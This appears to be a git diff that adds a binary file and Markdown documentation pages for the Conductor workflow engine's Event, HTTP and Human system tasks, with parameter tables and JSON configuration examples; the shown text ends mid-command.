z{e4_Z7~LxvMdyzUF{;$TLpjm?yeCRc)(E{DHOeqXfx_K|UQ|wpbguY{d3h4H+w*Uo zT_wm%5q7`iz0A477o2;y>65bBsK_|+l9z2zpN)8g3SuHc=_QomE2e_ZBJzZqq7kZ- z;q&pGM2=_6Fyu7Clr$)2n#4)9c9=bB5DX3zybmGQX&ojo7Nr7pV=;fJ=gz3?f=aI$ z(cfC?VViIO@LY87gzaaU@BDRnU)8u%(iItp7$B;IQi+xpC_2mBEuWj{g22#(R@GZN z`RCa=L~X9GqS8QQboDu*iA|VfuBJ~^@-n9T=gv;WPr6+M&=^a->A~N#mrQaWOiAta zASS7dqetRjRK^Jm;q0e2yo^CV>LZy@#_ajKi$g2QU*Vp;$r{~wih~?5>345xaVmxo z9OvnA!cH8{)dMjR%6K3_xr6_$e&n;Si!zI484^Tkf>7$2x-)9CuAcayRn4{l1U;m) zLBLCPPRJ`a^ZKhN?zKe&4jXAG5;L|_3KG;JHhYFzmIMPYp#E{eJemu8(B6@i_wDE3 zpNrxR2fk{W*zKhsp|H~g?QLw#dRDZ`mwPNCM{t=%uv@-Cj1-_NWtRX@bRlSMsQ?)L z^4}+jJS+z2P1do00XK_b8lcH40n|0`zY_o73EtfQmKy@P`CsOUxWqn&zvpoKbJM5q zSN*?3W0}J>pV1~jxUnAxLGd4GA)#P>fIykiZSZ5LCFRt$h}243D$RsOOud@@PAD5+ z-z+Z9#YL;s%hLZmx*!hkrc2xP6y{B!-=uQ#t(jqdug;$ID6+>_?CxUUvqh@{UTS;_ z+6Smqb&kNVer;6Y-G=N*3yxWej23VUxMa>f)!(n6bf$5^5^yQs7wjZ@iGdy2leWVa z+=%bNVx?n4+G^vb`(qprvhBdbn(OSRgWR7aAup zt!@{{!3zkO_4z!)9NY(;Tz*B_>DBVWhgOkTmiU~QI8-8DCU3lRC7W?{!;L>p$_Ov$ zs#AbH(B(`{l~hiR@IXL{HnyF=bdvQmi7Ys!j~L`)UGtC;nBdrmT92BC7~PgUx>v<> zq&@EoDX3yCE&2DM*-(rUO*yrk++z7qlx$3*4={KsYbi6eT$nrq3RLy|^4ZGZkm!xk z-Xi7NEdA>Zhq>LE(*>`M^ecM{?aSjz4B&!0apEH3)_`dT;!p|ie|(Xi6$Qn(c|m34POz9Jp!>A41Bym;|q#!t_qcx$j(og>QokW3e>dS7x>!I+^6#L1z3 zGwFQ*ot+^`9c;bw`*&#ao5OrSHfKg1M3!C?J8I-a39`}mYblfUq_cXBG4`Sgj)Cd@p$rRCAmC#j0y;9$ThN!0nOwz)YKmg1Q) zG%}KykRZi=+|tqlZX=zyZ=98`t)<0n2?rN)JK;k@wQ7#8ifBCClLkQgLoL}>R3u{yxV?7v_Cjzj8PtT0 zhetLlH!=_>mp0?|#q*2GNZcN_UrT`?c*2K;^Tsvo|-7j*b$4@&3~eMaEJj z!lJ*8n8f{hXk_c;#PKrN8NmE`Ze2y84ER%%lS(Qot5+uCN3pRos#*pa)I{VDkClzL zJ5NqL+L9H$E-o$rF|A}fFF(I}#Bd_Sf95D#*UqjC>_kA3>>=~Cwq}wDU`sq05<3Tg zc^o}zuNy#a`QgKZctJissaiaVC`_xVN-Uk{IOJ}%&hhda=>C0BxXCQdbvibU{3YfQ zr9>20tMYFGY)elkxp-?Io zIc)bJ)NfLt{`dN0A5u^-aH|ju&+%jEQeQ_m9}fdZy1v_#zGDK zgB>zN5z0iydj7Ndfv$-Oyu=Jne|H*~^y~^)W%y?$&$`{2nZ@B=hJ@&8RZGq{Lf&qF zl}LrAk6X%bA3{(7M{t+wUQlmu@3QRfPpCPz!Sio|K`w8PHm|SeQ!78>hVo!A@VEwd zApOi%#L>$xOqfP{@hK(c;WN@wPagul*0#1Y|2%ljP6%5JKb@zHJjJ$-Kj9er2J_U1wxy*l5O# zk|3c{(~GoGuySU0O~Yb{l1XR^ryYy(`OuLW5_1S_QBqmSk&9`@9vdAIajwS8ElWj7 zc{yTsUpT`B4o5{J4t>RfBn`EtTNP=32!Ev6|^`2Y~*H~K*5!?h2dY^93%=oAjCiEVP zTYWYoZc%|N!OJDESU3a2>t;jw4)`g{F(0BSpzr-C`&It#-8F{ZCX?*I9W4b6E*K2Z z(a~uS=M+%#7orG@OTQ2G-XBjVWIZ{0QUL2c5f>D$@P|-@&8Tj5hm$x|Hri;IXe`U+ zw3o^VDLUe^2TWc*%9nL&A#Dg(-ZAnj`SLN=e^uSQRe@F<>y-p(I}GCvxWR?P5`6Jo1YZc!|yUnMkWyXsxw!K zE$9hlV|15arg4<2)?KnwbZM#_&o{X_y5`JWI*Ywmy4tC>?7U({z4fEAs+U8n%QG}Jo5JVNCK%ODH~qeiwC~BuMP;aggoSttHu%a z^!mch*#E|Z%2Gd8b@{wo-)%tZ2eq(8y_k%iIlBp>PQtQbcX_WjD|4>+E?cTeZQeR8 zc*o{|1sgBSMqHxiKRZX`>#HAoH9EwNnG6kB?{jZD0WD#n%{-W2OS)kAc!Nls>={E`Ys(XC0X4hY8_36~2n7OX^ zObSQh|8ZOQ!VhoNye9#Ve-b{a5Qr)xcC^rJ3DJCa*ulct4-*_4NW7wQ#I(n3ea}** zeXq~K@I;4nPhRvJ-TWX)-h|co3*IZU=I;mH^h6_8)$&ElX{4wR-*EMBlsjSxjQ%aP z78U``?o7?QQO0|T^bwy6w>2xe69Mtkbv?5xx@Y8}AmD2zrQQqYaROK{s}{mObh~nE z?Q$09X_hLjmv9+flwSkLdOY1Spi8`Hbf)pLlcakgKR~A%J&F`4t)KJ<#yl3?==$zA zzU_1Pk2f4&bOP6x31!DH6Np>LSgMSb;3>QB=wM8ZuCPhtn^nC%4aRHI9Q6~D3|&o% zQu*uOjf5KN$X?qP+rdn?KHKO$hbNIIBt(&P7U8KG-RF|0A80Oo=o}?Jea=J*unz}q zg6+jO`v7Oj+Gw%MzFbVK5@umhdTbB-3@A?slCi;w*j0iH4D`4PvISOp7CvMhK4Fyf z@-DtC$|lUUpUkFt7SRSyL&aJRs9H?#oJw%A+avl$O5e^c1GcC${C+YP)q5uEef97k zzxQuCSjJr9DAYe6r4Cn^foibF{2rc)Y8YPLpP_vsuof$gEBgnUF7E&3&z}41BasoD zl_;eZGzsw$$}KcfClQCV%}OXr{xh5;=LNl97xSA)O^odR<(XWon)sh_-dvbLMVjg8 zt^6#aS+#tTB%SOv_QVyvcB}b{npIMmL0)JWRw{%zWXMc4hxhy({qBE@X#ZV8{kvQv z+d}cZeUN%axEhRt0e@Zz&XfY0+I#?uB=@5ux9O*2y58Nd?LMAux~S5mFl(Z^swIE= z=3&w&)^Vdw(bqlHXz!ZtCX~+-uT6LQD?-P zjJiQz|3O%sSC|yX`}l>BY=@K?XWJhqpBVnaB3=cT5|mfyZMw#lT7BqVDtG|$C)+=k zvIT!kBlWaDC7;Ku@+nQm>pyrm8IgD|--)ps2U1pb2NDV#w9;sGFc$6cFZ$P{&(Z67LR?tfs7} zTkmt|O!l-&85FgDf8q8s6Q(>9rlDp1g02OO71XHpm<(0|VV_C@M5lDE21Ep7+VpB~ zlZ#cGlN3u*W2^YMo$KK^K~S!&vK8?T{@aJx?1j{31KCrh;}rpp?pNzRF6 zn_Z5Fz7!;&l33%v&&H&?)VYXquR1B|3>)t~_vn=jmV8)fD!p9FG`qY7rC{diyFjHe zi5HAXdT{1}CP-AJ@s4ri{?hPX-4jfU-vpr>#^E$J<_&TRZI{f5t~+_W$ebQnh$i zQmww)u5;te*b`sD);}_{S${6{=9?|Qz145d)z?_w)i5bj#dxMLB&~(5)3ZdUnv*w$ zBz_P7(IY(;XV;r)Xt9BS9*5O^Bfs$|I@HrL7Uv7n(N6*dk8iyE6D6C>EhQbqpG0Rd zd}2uvQ!xE;<8EyiYcTQ?aFX$H<#JA)>0q0QEBy@8_o-F_?p-)rqFh48BpB+o8uIdQ zSDt?xmU%mR%jTgJo#2waU9=WYd*pOD#~2~k>%)Rd+t-DRQE_(leh^<>RO(2vo7=ZG zi}B)8F0b8>540`{0?c_hRW3^vcsr-mg&Ev)C{1F}wqil$-ZdGQ4NJBD>14u?iKRhl zZHKs=T^V8Ho4@~IDxzR;%bqLDadC|gJf^ z>v>x93sOO~6C+SWs{7#V4~`TDSS3*PismrfN|# zQjhX(-KZqWR1ufg$W~XRwP;9T(z1ocv$}_vmO2!C{B1?V@ZDc1wB^~GyZH1-hEwI> zwt=@%hX7tt^lnO%Pf2T1FEmrr(4$oSehzRSB+UDGn#F{XqQ@dWQ>B@V89MsH5E%;A)1Ec#`~#km^h z^jX}cB@s^C$Oe~X-W~Q<`SI@cDvuh>_)&MUQMHL|G3OI8l#87ZD!*bLeJe`? zjpYi}5jDcu~2B9$yhU>A|t%EET;*o&G` zG2sf{*s_Geg>(lt=hvP`)^8Qa=#8EtF{E5wgQ#tbh4aHDpnwXyca{*(!5`?oWBg5w zEMD*{&%NRct}y!y->_mAYm1sRr!NMSN>v!DDwDU|P5*MqGWGtr~e;p46!@iSjMOhOLD2yX)P z25j!Vn$Z)&^C6y53&z8HRKEKNkkrYP!INCk7jrH=v(}%{iFOVEnZ?D_(;Go-h59dLEr-SEgIPI|FBTZAIyI+42kQS(+s&Em^~igf}Nk=T?+ z@YHDOgz&rX6qnyMRK_1WTiqAKLZz(6e9`RAGUp4JHp?ZH;5W9Ih7LVD^F!-dPtj2i z*CQm3KuiyPHXDoIA`f?wv#7P-RxxLMyg5RcW~T4n(!7>vP|YYE>QERb#A;>LO>uVm zGn_-eDWS2wVA#s3?Zz{zqV0A>c(0MLF6%|hs^mON%LtC?^0O-Cg>Cpf%Br~tx9tEv zRDM)qB7H@;DaUti2P-4;$0ul@M)&05;f~g4t`FE4d&>lFXY8d}i#P^ytI!fHYfy$P zGJ8~)Y0B_=c^RX`6xJa#+);NVcA%*t#wKh*DN7s)_z4%afI|dh31MjD#~i*I4n~z7 zfCki`uyPU4DYJ>JaE{bwd^_Oo5D85ZxB_HKJftRXhH&a6$E!a(j}=YyFow>R5qD0g zh&u#wd^tB0sI5edv&Cbsm~3%_O@r;0QzV%4Z!uB3jeIr>Y@n3kJ?N1*Be^MXP3HZ5 ztx%1x#TICU=IkdaJl3~JyV^O0?cfa)BaG!GJfbE9q>bwrS6FMY zjl#jt@*Ng7LHHM`U}BAI(eKz8v8-Y~pjJU0%Ldm@P^XtZ&a3~uphuYWp&QeIdB0dw z*6vl@Ud!GWmS&%y(}=RgUD;w{i!(TPT}86Q_}&4^#L4oQZyE{EI3~N;%C4*T(L7uX zragpm$$tEDWWsfE)83Vz)fRVDmk+IUuE5QBSHwMc1B_7L?^{ih|5PZ|peR0X#&Rnb z_*=iT$xy%}8`Zo4qW*aq)?Z*I<|F(_gy5~&s$E4BBL;KLO9G=+wMSdO$({(g5INZB7J4}b6;6G z(Zr{QEY9OQ_Gq%^kr<-!eb9Ruhk)Ev)HeKTJQu%ujnEr~RZ@0K3emvqF-5`%lmG0$ zSAHd4MlJ7P{b)seWiNDPOZSXPO`PgRRxRmg!FJ>-gGY zR%?siqV*DRg|z!ds4R@0EzNQ2)qIZbIa|JRd|gZwUN$2q({iqgl&t@%Pp#m>?Fymt zDwktM0D)va#eJDC2|Jl~!ttHaiozXpW6qQt|r$6Ef+ z;hzA^#z7lX+_j{-vxhL5G!;B*c->Yz)32vpRJc2ZM~z?9w#>)EHf{8}{QSV;bdsKw zkHcz9!~5--HB&yKk2u$1mI&Gwkk-v8m6N_MXiu$t@AuZ2PuK!s;;4MjVdwY89^Z*y zh=uR2=`E=|Av${2th9Xfe-|EuT#My5h2qK|iW)>o5%RlsAd z(2x#!@;fnFgRjr1AiQY{x!HTb)A-9UsM$NX{zE|QJqvNzB)uO)Z z%d7q0^P}Wk^owgAp2B%=5W|L6@CWSIfaH~dOvM7-LG4`bs~+^wcJk%gP!`*`g}emm<&~ty~(%Ul}I@B^Uj4&lI31~^?jjQ*P_dc5fN^mi@0f$n9N^W?`{lX zKE-!}48;#G5WPmE14IBcJyBiXo$>Zbh(htUN-9&HDZe+A(9On8P*gng!90EvW@SZ= zKbiDAMmg1pATe(gi6qINCKJzK4ECVSP310Doq$Zb{J6h@@RWvm63fr?UlcPGGwFB@W4oS5-%2vi zzdS(I!JLN$({~o0TF1+Lk)2FLK}pj?iL_Ms-j`xv9V4tr#O<6svSFbt8J${Ri^+$Y z*$2GKCjgM8C_(qvyC`uz(y1^kiS469Rra&^^6r>}Z(aNu2b!P3kn3^ZofkeL=`$TUiU}oC`+j#37-m@F1!q| z+G4Gh#slTO!~9PnMi`l!0>B7ie}ARykPV*s1tj0W7(p_$JPewCqp6g=%9p$?v$II(tE9 zJ<1{WH0%Z;shtiK4M<4NEk)-`dI6m_`ojw+zP?LeuSFDz0K`V zw>>;upxaCh;{5<8+ETh z_SVU+6FtOTD8rp~SS|CeSrNG7$)tSh;TPMjVq? z7>pK(G>SX+l2=*T$aVTuTrbgKju?`zUpej9wv_p1Jrk%{>@3WkUBelx^vmhx$d;5F z?XHYZwD{77F^eF&i5|y4L(L^ng;FZEe1)#sX%gf!5|ssQE4Ejz@(P1zcj|vo2CO*$ zKJd2ENJAVqbM2T@T575Hb03m6%$PLz@Lh+Lo6G847`=hgjBLwOjYY9B9Vg z?w|-|^rLrNWRWP&oIam33vGIP1xHf0(jvscJ-7>rW+nmnluD#XnU#ebW!JPu5#tZLmrfQzAZnKES75`HQ*k@v8yLg9z0>Zuh zH1(4Ft>)=1KBc4EInkm(Oy7|=*Zm_DWvmb1A(4wu(-^^*siVgWp0ax1=TFs%`4IEN zB#>Y8`L5u@#3@TnH>tWaGkP4%SmVp}i_h1@ZEpLm6PqEeu-p~#GocuYsQEAo9r%By)YT?Zl zuy*Jn8POYkw}18wtdakhbYuUH(9F;cwQ%p}?B~B!X#aPxoMKqDM&0@|*tNVI@5Rkx_YerUK_bGpk)E`z1Ax`f;>9rRnKZgy0HiFNu?I9; zY0sHN1@d61newQVXbOJ80Y%zs|M?FR#~*>jA#VE@66Y2mafGVQr2sqJM`RuVXhGn1vY{6`TkYhiQ z1~|gM=L4umds_x(kZY4jiXvI0^slK+_nuW3!kh(1+>p+VC8J6KvPjwnP#a=j)Jr5? zniqCWIKd!T2r@gIT|au2XnA!b=GtP&z8MS92W=YV+Iwe!O3KHm$*6L3xTKRdYr!#T z*O)!&fS^v_p=BXcxd`xGJtYU)oxWTd%2d%ZWs{iy9_tbOq)i-j4_@Cg>XGhUt<93*5vKuj!0T73hQE zu=Zn2jb$LQgAIgzJikWhdOc-$)wZ;C()Ao8?twfA2p2_?S4=erw;^*2Q z4{Q6x$31nJ@oSKphfv1!x3AFA4W4`3jV~n#L+)Z5Vhd7S#R!<`WG)G>7okTNBI3hc ziQ(s=hSeHoqaPXs{p`qlXJ|7K6Z$H1xawkW}L#Z#6 zwEEdOsAT#k;@PMb<>ixuC&m5dE`EMrGEhI1No|*!-~C}tnY{aC3g81Ka3Dao-OoKp zN>daeBO`-~^{X-xll=Y%>L_hhzH@-=J3f|tV|x0yaCE;oEG!If9D4uB*ckK*>B;`_ zG2!q4m}1<&|H&GNhpLh!--lYOzAE}2V->Xjk3k)a{? zF6acB6(0#(jNSZ?z#o>=epQWaZFdA%*;8cF2z;v$75z^3!`lwYOr;%tt% zudTD3rj;Qw%n?H>QpDETnN#v#xwZQNaXGZ=D%V%9ROfJi&dqVl7z1n6U-dU%h!u->Nya&c;KWLY78eIvId$AT?rEn3m31wNv(BhmD; z(L+36zkY4A?v^AdCtWp~c4+_%jed0Rq^+F!=vO)h??9A@BC@&ipS`=>9qK z->c$*P~|^LAgHR?a$JaXg2>iDkv7_^*(eYuStd^&ra=h(jlcyd|4G>VCn4pZ1YJU@fe^$E zI#0JW>{S{y)%!2qde}{K=vIv_36#Z>d)sugUN7{CM3&VARY{xNn24-(W9foq9QBr^uGra-R@tB zXFhfLHaMtIG?4+w1%Y6_D+L1Kou5zt=uui%m#CNH(wgZ#&>-7e@{hC1%Iw_T-Cw_M zF}xcd8ChRjYiexl>g~oo#yvboZl9}wAw)zk_d7H2@$rEW>*0>0jg6emvwQbKA|fIZ zddudakVP=9Y|p!pY4Kw6dHouct>3EwH~?@#5|X5&6OyNxAbf*NO|K~=fgE_axq&Ju zTe-=OmJ!WTLv4HFs z5}`woZvp{-EGjChE1kWGN&EElS>FmBIS$0A4T@yqZ1Ou0SB&}bE8s*fbofm1CjMWSJ&U)e_~XL{9qDMugf}Z*B&q!%+ax8KKT(PrS^mR z+|~~oU!Y(L4(aOdDag<7i)_uzq%<&?tEjLuBxqO20XnDR9OAsZnvU0#-@n@f#!A0i ze1RJbgav*#egiJ&UFilBwKx&=wu(5rCB1I71fWN{KHd-L(9@t20 zG@W!dlX3=j(+}zxN=iy| zNX{Fl3j!CrjQ}AE7P-p}8ZeI(8RHJabt;V#))#<&?qn;VjZ`=SwlJ8kuc`tzF1;@N z@Zm#sHTMzK$=k^2=!V)_Abd{*rKDXt<%enzlf*dJp~zjB~CI103(`A|oRYnqlBX_;l~Ozs8o#?1@qKbIu$1BlB(5ipjj7s|wF7zLJG<|SgM+iVxtaLpg$ZJ>ob)>%6! z^w%gweE`_HwzZY*$!BnhMY3F5#ITprGnAfAUQ+l5tO!bk_6|NaqzdqPj0XYS;{Zx6 z$5#$Eo3XJ)OdzYi1`j97%C>-zc!4c30fB~J{o9s*rH;QG8W{NS=g0T&@pxvYrm_D@ zZvWhJ1~j+xg#bvs_G)W^{ALN^3Gp60P}kFA(c+|{%0jq>>%XaE&P_DT%(D0QurP3N z*5}2cV3-Za%38WO+E^>hRBujVH~KmCH?_SRiv-wWZT*FoR)TWT>ewja*!H3 zg!qwxZ$LeFc6P4y7{7Rt0c_OS6f#fv*WJM?ryp11$3J=ny8Y?tDTR(uBV$046e#eY z_s2(bTB@ql0_)P!(qJ3INV?!43sNiC`3LFgWvq8v@&mM^P2>DLJOreq$yrIG_{NC1 z1+u%e1vKi;fTT5zzzA@0U{+kiUGsEl3mIXDe;NJ#`}e=3f9&s9fhpW*wSUjbA|c{b zzXKD=vK#R1S$@k%M<)rmsm%>WWvhn>gXrq&f{|u=>qPtN#&vCNO(OJ9DOr@IDdIa$ zvPiPX!n!&w{RuGm1ET+;B5NlnDgkJK2MFJv8vC1WO_l5E>3tKLT3p=S+Dc1q+&DPI zoJI=p_y~g}r)7jkhc7j`Z2-LS(oSy&DK;7tQ_*ay8#yW>cc=b>@Fbu#o>2LFXLr}{ zN*vXmJEh)nAvM(&;Twq&F4ucbUSTjjBLmFBg@uLJE}i`Rj5gaG=IVi~6mHl9(HdeP z$hbJE^vkQw4hiW65Dr%Wq6WkyMiretK0fLi8WiN@4}KC<7`JtFI!Ym``dsj5U!Sb7 za0`eEz}}2--$F%W@mp+C8VNpr&M~-$ z48S`7hZA6{OgJqpE!Tei0;2ZT78c}Bok45aau?Fk(J?SE5EpL?ycbu>S|;Pi)%=MH z2#$kb&Bmqa?iOZXXW*fwWMiZE%BMG&)z-)(Y;XrJq} zc)*|#NIPe-|JFU-w}B?;NLVP4b|@003I>6&;Xxq(d>r_XN&m+Y|J_Hd|18V@Fg_yu0kpHWX?U1S6k2zFmwObJIl9N)FtdKBy`~Ltq7LY;! literal 0 HcmV?d00001 diff --git a/docs/documentation/configuration/workflowdef/systemtasks/event-task.md b/docs/documentation/configuration/workflowdef/systemtasks/event-task.md new file mode 100644 index 0000000..a8626af --- /dev/null +++ b/docs/documentation/configuration/workflowdef/systemtasks/event-task.md @@ -0,0 +1,122 @@ +--- +description: "Event Task — publish events to message brokers (Kafka, SQS, NATS) from Conductor workflows for event-driven orchestration." +--- +# Event Task + +```json +"type" : "EVENT" +``` + +The Event task (`EVENT`) is used to publish events to supported eventing systems. It enables event-based dependencies within workflows and tasks, making it possible to trigger external systems as part of the workflow execution. + +The following queuing systems are supported: + +- Conductor internal queue +- AMQP (RabbitMQ) +- Kafka +- NATS +- NATS Streaming +- SQS + +For details on configuring connections to these event buses (Kafka bootstrap servers, NATS URLs, AMQP credentials, etc.), see the [Event Bus Orchestration](../../../../devguide/how-tos/event-bus.md#configuration) guide. + + +## Task parameters + +Use these parameters in top level of the Event task configuration. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| sink | String | The target event queue in the format `prefix:location`, where the prefix denotes the queuing system, and the location represents the specific queue name (e.g., `send_email_queue`). Supported prefixes:
    • `conductor`
    • `ampq`, `amqp_queue`, or `amqp_exchange`
    • `kafka`
    • `nats`
    • `nats-stream`
    • `sqs`

    **Note:** For all queuing systems except the Conductor queue, you should use the queue's name, not the URI in `location`. The URI will be looked up based on the queue name. Refer to [Conductor sink configuration](#conductor-sink-configuration) for more details on how to use the Conductor queue. | Required. | +| inputParameters | Map[String, Any]. | Any other input parameters for the Event task, which will be published to the queuing system. | Optional. | +| asyncComplete | Boolean | Whether the task is completed asynchronously. The default value is false.
    • **false**—Task status is set to COMPLETED upon successful execution.
    • **true**—Task status is kept as IN_PROGRESS until an external event marks it as complete.
    | Optional. | + + +### Conductor sink configuration + +When using Conductor as sink, you have two options to set the sink: +* `conductor` +* `conductor::` (same as the `event` value of the event handler) + +If the workflow name and queue name is omitted, it will default to the Event task's workflow name and its own `taskReferenceName` for the queue name. + +## Configuration JSON + +Here is the task configuration for an Event task. + +```json +{ + "name": "event", + "taskReferenceName": "event_ref", + "type": "EVENT", + "inputParameters": {}, + "sink": "sqs:sqs_queue_name", + "asyncComplete": false +} +``` + +## Output + +The Event task will return the following parameters. + +| Name | Type | Description | +| ---------------- | ------------ | ------------------------------------------------------------- | +| event_produced | String | The name of the event produced. When producing an event with Conductor as a sink, the event name will be formatted as +`conductor::`. | +| workflowInstanceId | String | The workflow execution ID. | +| workflowType | String | The workflow name. | +| workflowVersion | Integer | The workflow version. | +| correlationId | String | The workflow correlation ID. | +| sink | String | The `sink` value. | +| asyncComplete | Boolean | The `asyncComplete` value. | +| taskToDomain | Map[String, String] | The Event task's domain mapping, if any. | + + +The published event's payload is identical to the task output, minus `event_produced`. + +## Examples + +In this example, the Event task sends a message to the Conductor queue. + +``` json +{ + "name": "event_task", + "taskReferenceName": "event_0", + "inputParameters": { + "mod": "${workflow.input.mod}", + "oddEven": "${workflow.input.oddEven}", + "sink": "conductor", + "asyncComplete": false + }, + "type": "EVENT", + "decisionCases": {}, + "defaultCase": [], + "forkTasks": [], + "startDelay": 0, + "joinOn": [], + "sink": "conductor", + "optional": false, + "defaultExclusiveJoinTask": [], + "asyncComplete": false, + "loopOver": [], + "onStateChange": {}, + "permissive": false +} +``` + +Here is the Event task output upon execution: + +``` json +{ + "event_produced": "conductor:test workflow:event_0", + "mod": "2", + "oddEven": "5", + "asyncComplete": false, + "sink": "conductor", + "workflowType": "test workflow", + "correlationId": null, + "taskToDomain": {}, + "workflowVersion": 1, + "workflowInstanceId": "b7c1e6d9-4a80-48b6-b901-487afef9d7c1" +} +``` \ No newline at end of file diff --git a/docs/documentation/configuration/workflowdef/systemtasks/http-task.md b/docs/documentation/configuration/workflowdef/systemtasks/http-task.md new file mode 100644 index 0000000..c08d336 --- /dev/null +++ b/docs/documentation/configuration/workflowdef/systemtasks/http-task.md @@ -0,0 +1,231 @@ +--- +description: "Configure HTTP tasks in Conductor to call remote APIs and services. Supports GET, POST, PUT, DELETE methods with headers, body, and timeout options." +--- + +# HTTP Task + +```json +"type" : "HTTP" +``` + +The HTTP task (`HTTP`) is useful for make calls to remote services exposed over HTTP/HTTPS. It supports various HTTP methods, headers, body content, and other configurations needed for interacting with APIs or remote services. + +The data returned in the HTTP call can be referenced in subsequent tasks as inputs, enabling you to chain multiple tasks or HTTP calls to create complex flows without writing any additional code. + + +## Task parameters + +The HTTP request parameters can be specified directly in `inputParameters` or nested inside `inputParameters.http_request`. Both forms are supported — the flat form is simpler for most use cases. + +| Parameter | Type | Description | Required / Optional | +| ------------------ | ------------------- | ------------------------------------------------- | -------------------- | +| uri | String | The URI for the HTTP service. Supports dynamic references like `${workflow.input.url}`. | Required. | +| method | String | The HTTP method. Supported methods: `GET`, `PUT`, `POST`, `PATCH`, `DELETE`, `OPTIONS`, `HEAD`, `TRACE`. | Required. | +| accept | String | The accept header required by the server. Default: `application/json`. | Optional. | +| contentType | String | The content type for the request. Default: `application/json`. | Optional. | +| headers | Map[String, Any] | A map of additional HTTP headers to be sent along with the request. See [Sending headers](#sending-headers) below. | Optional. | +| body | Map[String, Any] | The request body. | Required for POST, PUT, or PATCH methods. | +| asyncComplete | Boolean | Whether the task is completed asynchronously. Default: `false`. When `true`, the task stays `IN_PROGRESS` until an external event marks it as complete. | Optional. | +| connectionTimeOut | Integer | The connection timeout in milliseconds. Default: 100. Set to 0 for no timeout. | Optional. | +| readTimeOut | Integer | Read timeout in milliseconds. Default: 150. Set to 0 for no timeout. | Optional. | + +## Configuration JSON + +Here is the task configuration for an HTTP task. Note that parameters are specified directly in `inputParameters`: + +```json +{ + "name": "http", + "taskReferenceName": "http_ref", + "type": "HTTP", + "inputParameters": { + "uri": "https://api.example.com/data", + "method": "POST", + "headers": { + "Authorization": "Bearer ${workflow.input.api_token}", + "X-Request-Id": "${workflow.correlationId}" + }, + "body": { + "key": "value" + } + } +} +``` + +!!! note "Legacy `http_request` form" + The nested `inputParameters.http_request` form is still supported for backward compatibility: + ```json + "inputParameters": { + "http_request": { + "uri": "https://api.example.com/data", + "method": "POST", + "body": { "key": "value" } + } + } + ``` + Both forms work identically. The flat form (shown above) is recommended for new workflows. + +## Sending headers + +Use the `headers` parameter to send custom HTTP headers, including authentication: + +### Bearer token authentication + +```json +{ + "name": "call_api", + "taskReferenceName": "call_api_ref", + "type": "HTTP", + "inputParameters": { + "uri": "https://api.example.com/protected/resource", + "method": "GET", + "headers": { + "Authorization": "Bearer ${workflow.input.access_token}" + } + } +} +``` + +### API key authentication + +```json +{ + "name": "call_api", + "taskReferenceName": "call_api_ref", + "type": "HTTP", + "inputParameters": { + "uri": "https://api.example.com/data", + "method": "GET", + "headers": { + "X-API-Key": "${workflow.input.api_key}" + } + } +} +``` + +### Basic authentication + +```json +{ + "name": "call_api", + "taskReferenceName": "call_api_ref", + "type": "HTTP", + "inputParameters": { + "uri": "https://api.example.com/data", + "method": "GET", + "headers": { + "Authorization": "Basic ${workflow.input.basic_auth_token}" + } + } +} +``` + +### Multiple custom headers + +```json +{ + "name": "call_api", + "taskReferenceName": "call_api_ref", + "type": "HTTP", + "inputParameters": { + "uri": "https://api.example.com/data", + "method": "POST", + "headers": { + "Authorization": "Bearer ${workflow.input.token}", + "X-Correlation-Id": "${workflow.correlationId}", + "X-Request-Source": "conductor", + "Accept-Language": "en-US" + }, + "body": { + "data": "${workflow.input.payload}" + } + } +} +``` + +## Output + +The HTTP task will return the following parameters. + +| Name | Type | Description | +| ------ | ---- | --------------------------------------------------------------------------------------------------------- | +| response | Map[String, Any] | The JSON body containing the request response, if available. | +| response.headers | Map[String, Any] | The response headers. | +| response.statusCode | Integer | The [HTTP status code](https://en.wikipedia.org/wiki/List_of_HTTP_status_codes) indicating the request outcome. | +| response.reasonPhrase | String | The reason phrase associated with the HTTP status code. | +| response.body | Map[String, Any] | The response body containing the data returned by the endpoint. + +## Execution + +The HTTP task is moved to COMPLETED status once the remote service responds successfully. + +If your HTTP tasks are not getting picked up, you might have too many HTTP tasks in the task queue. Consider using Isolation Groups to prioritize certain HTTP tasks over others. + +## Examples + +Here are some examples for using the HTTP task. + + +### GET Method + +```json +{ + "name": "Get Example", + "taskReferenceName": "get_example", + "type": "HTTP", + "inputParameters": { + "uri": "https://jsonplaceholder.typicode.com/posts/${workflow.input.queryid}", + "method": "GET" + } +} +``` + +### POST Method + +```json +{ + "name": "http_post_example", + "taskReferenceName": "post_example", + "type": "HTTP", + "inputParameters": { + "uri": "https://jsonplaceholder.typicode.com/posts/", + "method": "POST", + "body": { + "title": "${get_example.output.response.body.title}", + "userId": "${get_example.output.response.body.userId}", + "action": "doSomething" + } + } +} +``` + +### PUT Method +```json +{ + "name": "http_put_example", + "taskReferenceName": "put_example", + "type": "HTTP", + "inputParameters": { + "uri": "https://jsonplaceholder.typicode.com/posts/1", + "method": "PUT", + "body": { + "title": "${get_example.output.response.body.title}", + "userId": "${get_example.output.response.body.userId}", + "action": "doSomethingDifferent" + } + } +} +``` + +### DELETE Method +```json +{ + "name": "DELETE Example", + "taskReferenceName": "delete_example", + "type": "HTTP", + "inputParameters": { + "uri": "https://jsonplaceholder.typicode.com/posts/1", + "method": "DELETE" + } +} +``` diff --git a/docs/documentation/configuration/workflowdef/systemtasks/human-task.md b/docs/documentation/configuration/workflowdef/systemtasks/human-task.md new file mode 100644 index 0000000..2563c81 --- /dev/null +++ b/docs/documentation/configuration/workflowdef/systemtasks/human-task.md @@ -0,0 +1,229 @@ +--- +description: "Configure Human tasks in Conductor to pause workflows for manual approval or external signals. Supports human-in-the-loop and agentic workflow patterns." +--- + +# Human Task +```json +"type" : "HUMAN" +``` + +The Human task (`HUMAN`) is used to pause the workflow and wait for an external signal. It acts as a gate that remains in IN_PROGRESS until marked as COMPLETED or FAILED by an external trigger. + +The Human task can be used when the workflow needs to pause and wait for human intervention, such as manual approval. It can also be used with an event coming from external source such as Kafka, SQS, or Conductor's internal queueing mechanism. + +## Task parameters + +No parameters are required to configure the Human task. + +## JSON configuration + +Here is the task configuration for a Human task. + +```json +{ + "name": "human", + "taskReferenceName": "human_ref", + "inputParameters": {}, + "type": "HUMAN" +} +``` + +## Completing the Human task + +There are several ways to complete the Human task: + +- Using the Task Update API +- Using an event handler + + +### Task Update API +Use the Task Update API (`POST api/tasks`) to complete a Human task. Provide the `taskId`, the task status, and the desired task output. + +Using the CLI: + +```bash +conductor task update-execution --workflow-id {workflowId} --task-ref-name waiting_around_ref --status 